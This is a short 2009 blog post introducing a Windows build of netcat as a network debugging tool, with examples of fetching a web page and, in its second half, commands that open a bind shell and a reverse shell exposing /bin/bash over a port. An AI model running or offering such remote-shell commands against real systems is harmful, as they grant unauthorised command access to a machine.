Netcat for Windows
April 10, 2009
Netcat is a simple networking utility which reads and writes data across network connections using the TCP/IP protocol. It's a wonderful tool for debugging all kinds of network problems. It allows you to read and write data over a network socket just as simply as you can read data from stdin or write to stdout. I have put together a few examples of what this can be used to accomplish.
Establishing a connection and getting some data over HTTP:
# nc example.com 80
GET / HTTP/1.0
<HTML>
<!-- site's code here -->
</HTML>
Creating a shell:
- Remote machine:
nc -l 1234 -e /bin/bash - Local machine:
nc remote_machine 1234
Creating a reverse shell:
- Local machine:
nc -l 1234 - Remote machine:
nc -e /bin/bash local_machine 1234
That's just a taste of what netcat can do. I'm sure you are really just here for the download.
